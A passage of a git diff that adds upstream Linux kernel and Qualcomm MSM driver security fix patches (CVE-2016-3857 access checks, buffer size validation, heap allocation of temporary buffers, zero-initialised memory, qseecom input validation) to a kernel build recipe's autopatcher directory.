opt = fl6_merge_options(&opt_space, flowlabel, opt); + opt = ipv6_fixup_options(&opt_space, opt); +@@ -637,6 +640,7 @@ + dst_release(dst); + out: + fl6_sock_release(flowlabel); ++ txopt_put(opt_to_free); + + return err < 0 ? err : len; + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0236-d948109df11c-arm oabi compat add missing access checks.patch b/recipes-kernel/linux/linux-bass/autopatcher/0236-d948109df11c-arm oabi compat add missing access checks.patch new file mode 100644 index 0000000..67ec349 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0236-d948109df11c-arm oabi compat add missing access checks.patch @@ -0,0 +1,52 @@ +From d948109df11c8485e972b4cc0eb4820d4b754615 Mon Sep 17 00:00:00 2001 +From: Dave Weinstein +Date: Thu, 28 Jul 2016 11:55:41 -0700 +Subject: arm: oabi compat: add missing access checks + +commit 7de249964f5578e67b99699c5f0b405738d820a2 upstream. + +Add access checks to sys_oabi_epoll_wait() and sys_oabi_semtimedop(). +This fixes CVE-2016-3857, a local privilege escalation under +CONFIG_OABI_COMPAT. + +Cc: stable@vger.kernel.org +Reported-by: Chiachih Wu +Reviewed-by: Kees Cook +Reviewed-by: Nicolas Pitre +Signed-off-by: Dave Weinstein +Signed-off-by: Linus Torvalds +Signed-off-by: Willy Tarreau +--- + arch/arm/kernel/sys_oabi-compat.c | 8 +++++++- + 1 file changed, 7 insertions(+), 1 deletion(-) + +diff --git a/arch/arm/kernel/sys_oabi-compat.c b/arch/arm/kernel/sys_oabi-compat.c +index 3e94811690ce1..a0aee80b608de 100644 +--- a/arch/arm/kernel/sys_oabi-compat.c ++++ b/arch/arm/kernel/sys_oabi-compat.c +@@ -275,8 +275,12 @@ asmlinkage long sys_oabi_epoll_wait(int epfd, + mm_segment_t fs; + long ret, err, i; + +- if (maxevents <= 0 || maxevents > (INT_MAX/sizeof(struct epoll_event))) ++ if (maxevents <= 0 || ++ maxevents > (INT_MAX/sizeof(*kbuf)) || ++ maxevents > (INT_MAX/sizeof(*events))) + return -EINVAL; ++ if (!access_ok(VERIFY_WRITE, events, sizeof(*events) * maxevents)) ++ return -EFAULT; + kbuf = kmalloc(sizeof(*kbuf) * maxevents, GFP_KERNEL); + if (!kbuf) + return -ENOMEM; +@@ -313,6 +317,8 @@ asmlinkage long sys_oabi_semtimedop(int semid, + + if (nsops < 1 || nsops > SEMOPM) + return -EINVAL; ++ if (!access_ok(VERIFY_READ, tsops, sizeof(*tsops) * nsops)) ++ return -EFAULT; + sops = kmalloc(sizeof(*sops) * nsops, GFP_KERNEL); + if (!sops) + return -ENOMEM; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0237-0a9fb0f516ac-ASoC msm qdsp6v2 Add size check in audio cal ioctl.patch b/recipes-kernel/linux/linux-bass/autopatcher/0237-0a9fb0f516ac-ASoC msm qdsp6v2 Add size check in audio cal ioctl.patch new file mode 100644 index 0000000..46c93fc --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0237-0a9fb0f516ac-ASoC msm qdsp6v2 Add size check in audio cal ioctl.patch @@ -0,0 +1,45 @@ +From 0a9fb0f516ac59067af8e4c3c9c1fff5eac5ba55 Mon Sep 17 00:00:00 2001 +From: Ben Romberger +Date: Thu, 14 Jul 2016 18:36:56 -0700 +Subject: ASoC: msm: qdsp6v2: Add size check in audio cal ioctl + +For the audio get calibration ioctl compare the allocated +buffer size to the size of the header and cal type header +to ensure the buffer is big enough. + +Change-Id: I851b4454e8420706ad3263d67e892720d46e5718 +Signed-off-by: Ben Romberger +--- + sound/soc/msm/qdsp6v2/audio_calibration.c | 10 ++++++++-- + 1 file changed, 8 insertions(+), 2 deletions(-) + +(limited to 'sound/soc/msm/qdsp6v2/audio_calibration.c') + +diff --git a/sound/soc/msm/qdsp6v2/audio_calibration.c b/sound/soc/msm/qdsp6v2/audio_calibration.c +index c4ea4ed..60d09df 100644 +--- a/sound/soc/msm/qdsp6v2/audio_calibration.c ++++ b/sound/soc/msm/qdsp6v2/audio_calibration.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2014, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2014, 2016 The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -490,7 +490,13 @@ static long audio_cal_shared_ioctl(struct file *file, unsigned int cmd, + goto unlock; + if (data == NULL) + goto unlock; +- if (copy_to_user((void *)arg, data, ++ if ((sizeof(data->hdr) + data->hdr.cal_type_size) > size) { ++ pr_err("%s: header size %zd plus cal type size %d are greater than data buffer size %d\n", ++ __func__, sizeof(data->hdr), ++ data->hdr.cal_type_size, size); ++ ret = -EFAULT; ++ goto unlock; ++ } else if (copy_to_user((void *)arg, data, + sizeof(data->hdr) + data->hdr.cal_type_size)) { + pr_err("%s: Could not copy cal type to user\n", + __func__); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0238-a92e71c20f4e-PATCH input synaptics allocate heap memory for temp buf.patch b/recipes-kernel/linux/linux-bass/autopatcher/0238-a92e71c20f4e-PATCH input synaptics allocate heap memory for temp buf.patch new file mode 100644 index 0000000..7f46197 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0238-a92e71c20f4e-PATCH input synaptics allocate heap memory for temp buf.patch @@ -0,0 +1,86 @@ +From a92e71c20f4e6b2aa94b7614fd494833ea76b8b9 Mon Sep 17 00:00:00 2001 +From: Biswajit Paul +Date: Thu, 30 Jun 2016 19:00:50 -0700 +Subject: [PATCH] input: synaptics: allocate heap memory for temp buf + +rmidev file operations structure include write() and +read() which accepts data from user space. Temp +buffers are allocated through variable length arrays +which can pose security problems. So allocate memory +on heap instead of stack to avoid this. + +Bug: 28799389 +CRs-Fixed: 1032459 +Change-Id: I44443f91d435715dd0097ef8e8dfc48e291f93fc +Signed-off-by: Mohan Pallaka +Signed-off-by: Biswajit Paul +--- + drivers/input/touchscreen/synaptics_rmi_dev.c | 19 +++++++++++++++---- + 1 file changed, 15 insertions(+), 4 deletions(-) + +diff --git a/drivers/input/touchscreen/synaptics_rmi_dev.c b/drivers/input/touchscreen/synaptics_rmi_dev.c +index 88595582579e0..e2d7c27eb6832 100644 +--- a/drivers/input/touchscreen/synaptics_rmi_dev.c ++++ b/drivers/input/touchscreen/synaptics_rmi_dev.c +@@ -291,7 +291,7 @@ static ssize_t rmidev_read(struct file *filp, char __user *buf, + size_t count, loff_t *f_pos) + { + ssize_t retval; +- unsigned char tmpbuf[count + 1]; ++ unsigned char *tmpbuf; + struct rmidev_data *dev_data = filp->private_data; + + if (IS_ERR(dev_data)) { +@@ -305,6 +305,10 @@ static ssize_t rmidev_read(struct file *filp, char __user *buf, + if (count > (REG_ADDR_LIMIT - *f_pos)) + count = REG_ADDR_LIMIT - *f_pos; + ++ tmpbuf = kzalloc(count + 1, GFP_KERNEL); ++ if (!tmpbuf) ++ return -ENOMEM; ++ + mutex_lock(&(dev_data->file_mutex)); + + retval = rmidev->fn_ptr->read(rmidev->rmi4_data, +@@ -322,6 +326,7 @@ static ssize_t rmidev_read(struct file *filp, char __user *buf, + clean_up: + mutex_unlock(&(dev_data->file_mutex)); + ++ kfree(tmpbuf); + return retval; + } + +@@ -337,7 +342,7 @@ static ssize_t rmidev_write(struct file *filp, const char __user *buf, + size_t count, loff_t *f_pos) + { + ssize_t retval; +- unsigned char tmpbuf[count + 1]; ++ unsigned char *tmpbuf; + struct rmidev_data *dev_data = filp->private_data; + + if (IS_ERR(dev_data)) { +@@ -351,8 +356,14 @@ static ssize_t rmidev_write(struct file *filp, const char __user *buf, + if (count > (REG_ADDR_LIMIT - *f_pos)) + count = REG_ADDR_LIMIT - *f_pos; + +- if (copy_from_user(tmpbuf, buf, count)) ++ tmpbuf = kzalloc(count + 1, GFP_KERNEL); ++ if (!tmpbuf) ++ return -ENOMEM; ++ ++ if (copy_from_user(tmpbuf, buf, count)) { ++ kfree(tmpbuf); + return -EFAULT; ++ } + + mutex_lock(&(dev_data->file_mutex)); + +@@ -364,7 +375,7 @@ static ssize_t rmidev_write(struct file *filp, const char __user *buf, + *f_pos += retval; + + mutex_unlock(&(dev_data->file_mutex)); +- ++ kfree(tmpbuf); + return retval; + } + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0239-92242610894d-PATCH input synapticsdsx allocate heap memory for temp buf.patch b/recipes-kernel/linux/linux-bass/autopatcher/0239-92242610894d-PATCH input synapticsdsx allocate heap memory for temp buf.patch new file mode 100644 index 0000000..cd0e311 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0239-92242610894d-PATCH input synapticsdsx allocate heap memory for temp buf.patch @@ -0,0 +1,86 @@ +From 92242610894d1dc26759e486af1d11f2eb78c922 Mon Sep 17 00:00:00 2001 +From: Biswajit Paul +Date: Thu, 30 Jun 2016 19:00:50 -0700 +Subject: [PATCH] input: synaptics_dsx: allocate heap memory for temp buf + +rmidev file operations structure include write() and +read() which accepts data from user space. Temp +buffers are allocated through variable length arrays +which can pose security problems. So allocate memory +on heap instead of stack to avoid this. + +Bug: 28799389 +CRs-Fixed: 1032459 +Change-Id: I44443f91d435715dd0097ef8e8dfc48e291f93fc +Signed-off-by: Mohan Pallaka +Signed-off-by: Biswajit Paul +--- + .../touchscreen/synaptics_dsx/synaptics_dsx_rmi_dev.c | 19 +++++++++++++++---- + 1 file changed, 15 insertions(+), 4 deletions(-) + +diff --git a/drivers/input/touchscreen/synaptics_dsx/synaptics_dsx_rmi_dev.c b/drivers/input/touchscreen/synaptics_dsx/synaptics_dsx_rmi_dev.c +index 4c341ffb60940..bb9ddd9873cb1 100644 +--- a/drivers/input/touchscreen/synaptics_dsx/synaptics_dsx_rmi_dev.c ++++ b/drivers/input/touchscreen/synaptics_dsx/synaptics_dsx_rmi_dev.c +@@ -347,7 +347,7 @@ static ssize_t rmidev_read(struct file *filp, char __user *buf, + size_t count, loff_t *f_pos) + { + ssize_t retval; +- unsigned char tmpbuf[count + 1]; ++ unsigned char *tmpbuf; + struct rmidev_data *dev_data = filp->private_data; + + if (IS_ERR(dev_data)) { +@@ -361,6 +361,10 @@ static ssize_t rmidev_read(struct file *filp, char __user *buf, + if (count > (REG_ADDR_LIMIT - *f_pos)) + count = REG_ADDR_LIMIT - *f_pos; + ++ tmpbuf = kzalloc(count + 1, GFP_KERNEL); ++ if (!tmpbuf) ++ return -ENOMEM; ++ + mutex_lock(&(dev_data->file_mutex)); + + retval = synaptics_rmi4_reg_read(rmidev->rmi4_data, +@@ -378,6 +382,7 @@ static ssize_t rmidev_read(struct file *filp, char __user *buf, + clean_up: + mutex_unlock(&(dev_data->file_mutex)); + ++ kfree(tmpbuf); + return retval; + } + +@@ -393,7 +398,7 @@ static ssize_t rmidev_write(struct file *filp, const char __user *buf, + size_t count, loff_t *f_pos) + { + ssize_t retval; +- unsigned char tmpbuf[count + 1]; ++ unsigned char *tmpbuf; + struct rmidev_data *dev_data = filp->private_data; + + if (IS_ERR(dev_data)) { +@@ -407,8 +412,14 @@ static ssize_t rmidev_write(struct file *filp, const char __user *buf, + if (count > (REG_ADDR_LIMIT - *f_pos)) + count = REG_ADDR_LIMIT - *f_pos; + +- if (copy_from_user(tmpbuf, buf, count)) ++ tmpbuf = kzalloc(count + 1, GFP_KERNEL); ++ if (!tmpbuf) ++ return -ENOMEM; ++ ++ if (copy_from_user(tmpbuf, buf, count)) { ++ kfree(tmpbuf); + return -EFAULT; ++ } + + mutex_lock(&(dev_data->file_mutex)); + +@@ -420,7 +431,7 @@ static ssize_t rmidev_write(struct file *filp, const char __user *buf, + *f_pos += retval; + + mutex_unlock(&(dev_data->file_mutex)); +- ++ kfree(tmpbuf); + return retval; + } + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0240-5180cefe0eeb-ASoC msm qdsp6v2 check param length for EAC3 format.patch b/recipes-kernel/linux/linux-bass/autopatcher/0240-5180cefe0eeb-ASoC msm qdsp6v2 check param length for EAC3 format.patch new file mode 100644 index 0000000..cedadb2 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0240-5180cefe0eeb-ASoC msm qdsp6v2 check param length for EAC3 format.patch @@ -0,0 +1,31 @@ +From 5180cefe0eeb6f3e6e0c4967652facd20f07c20c Mon Sep 17 00:00:00 2001 +From: Surendar karka +Date: Wed, 29 Jun 2016 14:23:25 +0530 +Subject: ASoC: msm: qdsp6v2: check param length for EAC3 format + +Initialize param length with user space argument and +check the condition for maximum length in +SND_AUDIOCODEC_EAC3 format. + +CRs-Fixed: 1032820 +Change-Id: I710c1f743d7502e93989e8cc487078366570e723 +Signed-off-by: Surendar karka +--- + sound/soc/msm/qdsp6v2/msm-compr-q6-v2.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/sound/soc/msm/qdsp6v2/msm-compr-q6-v2.c b/sound/soc/msm/qdsp6v2/msm-compr-q6-v2.c +index f577637..26528e6 100644 +--- a/sound/soc/msm/qdsp6v2/msm-compr-q6-v2.c ++++ b/sound/soc/msm/qdsp6v2/msm-compr-q6-v2.c +@@ -1070,6 +1070,7 @@ static int msm_compr_ioctl_shared(struct snd_pcm_substream *substream, + __func__, ddp->params_length); + return -EINVAL; + } ++ params_length = ddp->params_length*sizeof(int); + if (params_length > MAX_AC3_PARAM_SIZE) { + /*MAX is 36*sizeof(int) this should not happen*/ + pr_err("%s: params_length(%d) is greater than %zd\n", +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0241-dd40cc2bd210-spmi prevent showing the address of spmidev.patch b/recipes-kernel/linux/linux-bass/autopatcher/0241-dd40cc2bd210-spmi prevent showing the address of spmidev.patch new file mode 100644 index 0000000..349c36d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0241-dd40cc2bd210-spmi prevent showing the address of spmidev.patch @@ -0,0 +1,105 @@ +From dd40cc2bd210dd7a4dd649e8f79add2bbeda2bd5 Mon Sep 17 00:00:00 2001 +From: Abhijeet Dharmapurikar +Date: Wed, 15 Jun 2016 09:46:21 -0700 +Subject: spmi: prevent showing the address of spmidev + +Creating devices with the address of the container spmidev is not +indicative of the actual hardware device it represents. + +Instead use an unique id to indicate the device it represents. + +CRs-Fixed: 1024197 +Change-Id: Id18e2a19f4fa1249901a3f275defa8f589270d69 +Signed-off-by: Abhijeet Dharmapurikar +--- + drivers/spmi/spmi.c | 18 +++++++++++++++--- + include/linux/spmi.h | 6 +++++- + 2 files changed, 20 insertions(+), 4 deletions(-) + +diff --git a/drivers/spmi/spmi.c b/drivers/spmi/spmi.c +index f5e49c8..1a1bae9 100644 +--- a/drivers/spmi/spmi.c ++++ b/drivers/spmi/spmi.c +@@ -32,6 +32,7 @@ struct spmii_boardinfo { + static DEFINE_MUTEX(board_lock); + static LIST_HEAD(board_list); + static DEFINE_IDR(ctrl_idr); ++static DEFINE_IDA(spmi_devid_ida); + static struct device_type spmi_dev_type; + static struct device_type spmi_ctrl_type; + +@@ -229,22 +230,32 @@ int spmi_add_device(struct spmi_device *spmidev) + { + int rc; + struct device *dev = get_valid_device(spmidev); ++ int id; + + if (!dev) { + pr_err("invalid SPMI device\n"); + return -EINVAL; + } + ++ id = ida_simple_get(&spmi_devid_ida, 0, 0, GFP_KERNEL); ++ if (id < 0) { ++ pr_err("No id available status = %d\n", id); ++ return id; ++ } ++ + /* Set the device name */ +- dev_set_name(dev, "%s-%p", spmidev->name, spmidev); ++ spmidev->id = id; ++ dev_set_name(dev, "%s-%d", spmidev->name, spmidev->id); + + /* Device may be bound to an active driver when this returns */ + rc = device_add(dev); + +- if (rc < 0) ++ if (rc < 0) { ++ ida_simple_remove(&spmi_devid_ida, spmidev->id); + dev_err(dev, "Can't add %s, status %d\n", dev_name(dev), rc); +- else ++ } else { + dev_dbg(dev, "device %s registered\n", dev_name(dev)); ++ } + + return rc; + } +@@ -292,6 +303,7 @@ EXPORT_SYMBOL_GPL(spmi_new_device); + void spmi_remove_device(struct spmi_device *spmi_dev) + { + device_unregister(&spmi_dev->dev); ++ ida_simple_remove(&spmi_devid_ida, spmi_dev->id); + } + EXPORT_SYMBOL_GPL(spmi_remove_device); + +diff --git a/include/linux/spmi.h b/include/linux/spmi.h +index b581de8..5a8525d 100644 +--- a/include/linux/spmi.h ++++ b/include/linux/spmi.h +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2012-2014 The Linux Foundation. All rights reserved. ++/* Copyright (c) 2012-2014, 2016 The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -120,6 +120,9 @@ struct spmi_resource { + * @dev_node: array of SPMI resources when used with spmi-dev-container. + * @num_dev_node: number of device_node structures. + * @sid: Slave Identifier. ++ * @id: Unique identifier to differentiate from other spmi devices with ++ * possibly same name. ++ * + */ + struct spmi_device { + struct device dev; +@@ -129,6 +132,7 @@ struct spmi_device { + struct spmi_resource *dev_node; + u32 num_dev_node; + u8 sid; ++ int id; + }; + #define to_spmi_device(d) container_of(d, struct spmi_device, dev) + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0242-de3e3e5930b1-msm dmatest Initialize newly allocated memory.patch b/recipes-kernel/linux/linux-bass/autopatcher/0242-de3e3e5930b1-msm dmatest Initialize newly allocated memory.patch new file mode 100644 index 0000000..3c220f5 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0242-de3e3e5930b1-msm dmatest Initialize newly allocated memory.patch @@ -0,0 +1,31 @@ +From de3e3e5930b1edfebec7870390443279ec5b65fe Mon Sep 17 00:00:00 2001 +From: Srinivasarao P +Date: Fri, 22 Jul 2016 12:48:33 +0530 +Subject: msm : dma_test: Initialize newly allocated memory + +The MSM_DMA_IOALLOC ioctl command allocates kernel memory and +this memory can be read back using the MSM_DMA_IORBUF ioctl command. +This memory is not zero-initialized and may contain sensitive data. + +Change-Id: I8c55d6fe500e7607690b89806715893783eecf9c +Signed-off-by: Srinivasarao P +--- + arch/arm/mach-msm/dma_test.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/arch/arm/mach-msm/dma_test.c b/arch/arm/mach-msm/dma_test.c +index 3d13e4e..1d717c3 100644 +--- a/arch/arm/mach-msm/dma_test.c ++++ b/arch/arm/mach-msm/dma_test.c +@@ -99,7 +99,7 @@ static int buffer_req(struct msm_dma_alloc_req *req) + if (i >= MAX_TEST_BUFFERS) + goto error; + +- buffers[i] = kmalloc(req->size, GFP_KERNEL | __GFP_DMA); ++ buffers[i] = kzalloc(req->size, GFP_KERNEL | __GFP_DMA); + if (buffers[i] == 0) + goto error; + sizes[i] = req->size; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0243-2fca425d7815-msm ipa handle information leak on ADDFLTRULEINDEX ioctl.patch b/recipes-kernel/linux/linux-bass/autopatcher/0243-2fca425d7815-msm ipa handle information leak on ADDFLTRULEINDEX ioctl.patch new file mode 100644 index 0000000..66c6ddf --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0243-2fca425d7815-msm ipa handle information leak on ADDFLTRULEINDEX ioctl.patch @@ -0,0 +1,44 @@ +From 2fca425d781572393fbe51abe2e27a932d24a768 Mon Sep 17 00:00:00 2001 +From: Skylar Chang +Date: Fri, 22 Jul 2016 15:03:16 -0700 +Subject: msm: ipa: handle information leak on ADD_FLT_RULE_INDEX ioctl + +IPA might have Information leak and device crash due to +kernel heap overread in IPA driver when processing +WAN_IOC_ADD_FLT_RULE_INDEX ioctl. The fix is to add +check on max number of filter rules send to modem. + +Change-Id: I454e04d05cfcb7af8fc4bd2b4a1bade55c4684d0 +Signed-off-by: Skylar Chang +--- + drivers/platform/msm/ipa/ipa_qmi_service.c | 7 ++++++- + 1 file changed, 6 insertions(+), 1 deletion(-) + +diff --git a/drivers/platform/msm/ipa/ipa_qmi_service.c b/drivers/platform/msm/ipa/ipa_qmi_service.c +index d68350a..58d7c181 100644 +--- a/drivers/platform/msm/ipa/ipa_qmi_service.c ++++ b/drivers/platform/msm/ipa/ipa_qmi_service.c +@@ -491,7 +491,7 @@ int qmi_filter_request_send(struct ipa_install_fltr_rule_req_msg_v01 *req) + if (req->filter_spec_list_len == 0) { + IPAWANDBG("IPACM pass zero rules to Q6\n"); + } else { +- IPAWANDBG("IPACM pass %d rules to Q6\n", ++ IPAWANDBG("IPACM pass %u rules to Q6\n", + req->filter_spec_list_len); + } + +@@ -622,6 +622,11 @@ int qmi_filter_notify_send(struct ipa_fltr_installed_notif_req_msg_v01 *req) + IPAWANERR(" delete UL filter rule for pipe %d\n", + req->source_pipe_index); + return -EINVAL; ++ } else if (req->filter_index_list_len > QMI_IPA_MAX_FILTERS_V01) { ++ IPAWANERR(" UL filter rule for pipe %d exceed max (%u)\n", ++ req->source_pipe_index, ++ req->filter_index_list_len); ++ return -EINVAL; + } else if (req->filter_index_list[0].filter_index == 0 && + req->source_pipe_index != + ipa_get_ep_mapping(IPA_CLIENT_APPS_LAN_WAN_PROD)) { +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0244-289ede9d6bfb-misc qcom qdsp6v2 initialize wmaconfig32.patch b/recipes-kernel/linux/linux-bass/autopatcher/0244-289ede9d6bfb-misc qcom qdsp6v2 initialize wmaconfig32.patch new file mode 100644 index 0000000..f57f2f2 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0244-289ede9d6bfb-misc qcom qdsp6v2 initialize wmaconfig32.patch @@ -0,0 +1,33 @@ +From 289ede9d6bfb46178326ae9ca86033bbd452f269 Mon Sep 17 00:00:00 2001 +From: Siena Richard +Date: Tue, 16 Aug 2016 13:03:56 -0700 +Subject: misc: qcom: qdsp6v2: initialize wma_config_32 + +Not all memebers of wma_config_32 are set before they are used which +might lead to invalid values being passed and used. To fix this issue +initialize all member variables of struct wma_config_32 to 0 before +assigning specific values individually. + +Change-Id: Ibb082ce691625527e9a9ffd4978dea7ba4df9e84 +CRs-Fixed: 1054352 +Signed-off-by: Siena Richard +--- + drivers/misc/qcom/qdsp6v2/audio_wma.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/drivers/misc/qcom/qdsp6v2/audio_wma.c b/drivers/misc/qcom/qdsp6v2/audio_wma.c +index 3d57d38d..4389c0f 100644 +--- a/drivers/misc/qcom/qdsp6v2/audio_wma.c ++++ b/drivers/misc/qcom/qdsp6v2/audio_wma.c +@@ -166,6 +166,8 @@ static long audio_compat_ioctl(struct file *file, unsigned int cmd, + struct msm_audio_wma_config_v2 *wma_config; + struct msm_audio_wma_config_v2_32 wma_config_32; + ++ memset(&wma_config_32, 0, sizeof(wma_config_32)); ++ + wma_config = (struct msm_audio_wma_config_v2 *)audio->codec_cfg; + wma_config_32.format_tag = wma_config->format_tag; + wma_config_32.numchannels = wma_config->numchannels; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0245-e80b88323f9f-qseecom validate the inputs of qseecomsendmodfdresp.patch b/recipes-kernel/linux/linux-bass/autopatcher/0245-e80b88323f9f-qseecom validate the inputs of qseecomsendmodfdresp.patch new file mode 100644 index 0000000..054d871 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0245-e80b88323f9f-qseecom validate the inputs of qseecomsendmodfdresp.patch @@ -0,0 +1,134 @@ +From e80b88323f9ff0bb0e545f209eec08ec56fca816 Mon Sep 17 00:00:00 2001 +From: Zhen Kong +Date: Mon, 18 Jul 2016 13:20:18 -0700 +Subject: qseecom: validate the inputs of __qseecom_send_modfd_resp + +The resp_len and resp_buf_ptr of qseecom_send_modfd_listener_resp +are not checked, then an userspace application that manipulates +resp_len can corrupt the kernel memory. Thus make changes to +validate these parameters. + +CRs-fixed: 1036418 +Change-Id: Id43ec6b55b332d0dac09a9abb998a410f49b44f7 +Signed-off-by: Zhen Kong +--- + drivers/misc/qseecom.c | 78 +++++++++++++++++++++++++++++++++++++++----------- + 1 file changed, 61 insertions(+), 17 deletions(-) + +diff --git a/drivers/misc/qseecom.c b/drivers/misc/qseecom.c +index b175965c..1168181 100644 +--- a/drivers/misc/qseecom.c ++++ b/drivers/misc/qseecom.c +@@ -3065,41 +3065,80 @@ static int qseecom_send_resp(void) + } + + +-static int qseecom_send_modfd_resp(struct qseecom_dev_handle *data, +- void __user *argp) ++static int __validate_send_modfd_resp_inputs(struct qseecom_dev_handle *data, ++ struct qseecom_send_modfd_listener_resp *resp, ++ struct qseecom_registered_listener_list *this_lstnr) + { +- struct qseecom_send_modfd_listener_resp resp; + int i; +- struct qseecom_registered_listener_list *this_lstnr = NULL; + +- if (copy_from_user(&resp, argp, sizeof(resp))) { +- pr_err("copy_from_user failed"); ++ if (!data || !resp || !this_lstnr) { ++ pr_err("listener handle or resp msg is null\n"); + return -EINVAL; + } +- this_lstnr = __qseecom_find_svc(data->listener.id); +- if (this_lstnr == NULL) ++ ++ if (resp->resp_buf_ptr == NULL) { ++ pr_err("resp buffer is null\n"); ++ return -EINVAL; ++ } ++ /* validate resp buf length */ ++ if ((resp->resp_len == 0) || ++ (resp->resp_len > this_lstnr->sb_length)) { ++ pr_err("resp buf length %d not valid\n", resp->resp_len); + return -EINVAL; ++ } + +- if (resp.resp_buf_ptr == NULL) { +- pr_err("Invalid resp_buf_ptr\n"); ++ if ((uintptr_t)resp->resp_buf_ptr > (ULONG_MAX - resp->resp_len)) { ++ pr_err("Integer overflow in resp_len & resp_buf\n"); ++ return -EINVAL; ++ } ++ if ((uintptr_t)this_lstnr->user_virt_sb_base > ++ (ULONG_MAX - this_lstnr->sb_length)) { ++ pr_err("Integer overflow in user_virt_sb_base & sb_length\n"); + return -EINVAL; + } ++ /* validate resp buf */ ++ if (((uintptr_t)resp->resp_buf_ptr < ++ (uintptr_t)this_lstnr->user_virt_sb_base) || ++ ((uintptr_t)resp->resp_buf_ptr >= ++ ((uintptr_t)this_lstnr->user_virt_sb_base + ++ this_lstnr->sb_length)) || ++ (((uintptr_t)resp->resp_buf_ptr + resp->resp_len) > ++ ((uintptr_t)this_lstnr->user_virt_sb_base + ++ this_lstnr->sb_length))) { ++ pr_err("resp buf is out of shared buffer region\n"); ++ return -EINVAL; ++ } ++ + /* validate offsets */ + for (i = 0; i < MAX_ION_FD; i++) { +- if (resp.ifd_data[i].cmd_buf_offset >= resp.resp_len) { ++ if (resp->ifd_data[i].cmd_buf_offset >= resp->resp_len) { + pr_err("Invalid offset %d = 0x%x\n", +- i, resp.ifd_data[i].cmd_buf_offset); ++ i, resp->ifd_data[i].cmd_buf_offset); + return -EINVAL; + } + } + +- if ((resp.resp_buf_ptr < this_lstnr->user_virt_sb_base) || +- ((uintptr_t)resp.resp_buf_ptr >= +- ((uintptr_t)this_lstnr->user_virt_sb_base + +- this_lstnr->sb_length))) { +- pr_err("resp_buf_ptr address not within shared buffer\n"); ++ return 0; ++} ++ ++static int __qseecom_send_modfd_resp(struct qseecom_dev_handle *data, ++ void __user *argp, bool is_64bit_addr) ++{ ++ struct qseecom_send_modfd_listener_resp resp; ++ struct qseecom_registered_listener_list *this_lstnr = NULL; ++ ++ if (copy_from_user(&resp, argp, sizeof(resp))) { ++ pr_err("copy_from_user failed"); + return -EINVAL; + } ++ ++ this_lstnr = __qseecom_find_svc(data->listener.id); ++ if (this_lstnr == NULL) ++ return -EINVAL; ++ ++ if (__validate_send_modfd_resp_inputs(data, &resp, this_lstnr)) ++ return -EINVAL; ++ + resp.resp_buf_ptr = this_lstnr->sb_virt + + (uintptr_t)(resp.resp_buf_ptr - this_lstnr->user_virt_sb_base); + __qseecom_update_cmd_buf(&resp, false, data, true); +@@ -3108,6 +3147,11 @@ static int qseecom_send_modfd_resp(struct qseecom_dev_handle *data, + return 0; + } + ++static int qseecom_send_modfd_resp(struct qseecom_dev_handle *data, ++ void __user *argp) ++{ ++ return __qseecom_send_modfd_resp(data, argp, false); ++} + + static int qseecom_get_qseos_version(struct qseecom_dev_handle *data, + void __user *argp) +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0246-27fbeb6b025d-msm camera restructure data handling to be more robust.patch b/recipes-kernel/linux/linux-bass/autopatcher/0246-27fbeb6b025d-msm camera restructure data handling to be more robust.patch new file mode 100644 index 0000000..a0cdb85 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0246-27fbeb6b025d-msm camera restructure data handling to be more robust.patch @@ -0,0 +1,74 @@ +From 27fbeb6b025d5d46ccb0497cbed4c6e78ed1c5cc Mon Sep 17 00:00:00 2001 +From: Vasko Kalanoski +Date: Tue, 3 Feb 2015 13:17:44 +0200 +Subject: msm: camera: restructure data handling to be more robust + +add dynamic array allocation instead of static to prevent +stack overflow. + +Change-Id: Id12ed5b01809021d2b1d1d71436f2523b575d9de +Signed-off-by: Vasko Kalanoski +--- + .../msm/camera_v2/sensor/io/msm_camera_cci_i2c.c | 25 +++++++++++++++------- + 1 file changed, 17 insertions(+), 8 deletions(-) + +diff --git a/drivers/media/platform/msm/camera_v2/sensor/io/msm_camera_cci_i2c.c b/drivers/media/platform/msm/camera_v2/sensor/io/msm_camera_cci_i2c.c +index 4b0bde95..59ad29f 100644 +--- a/drivers/media/platform/msm/camera_v2/sensor/io/msm_camera_cci_i2c.c ++++ b/drivers/media/platform/msm/camera_v2/sensor/io/msm_camera_cci_i2c.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2011-2015, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -138,23 +138,30 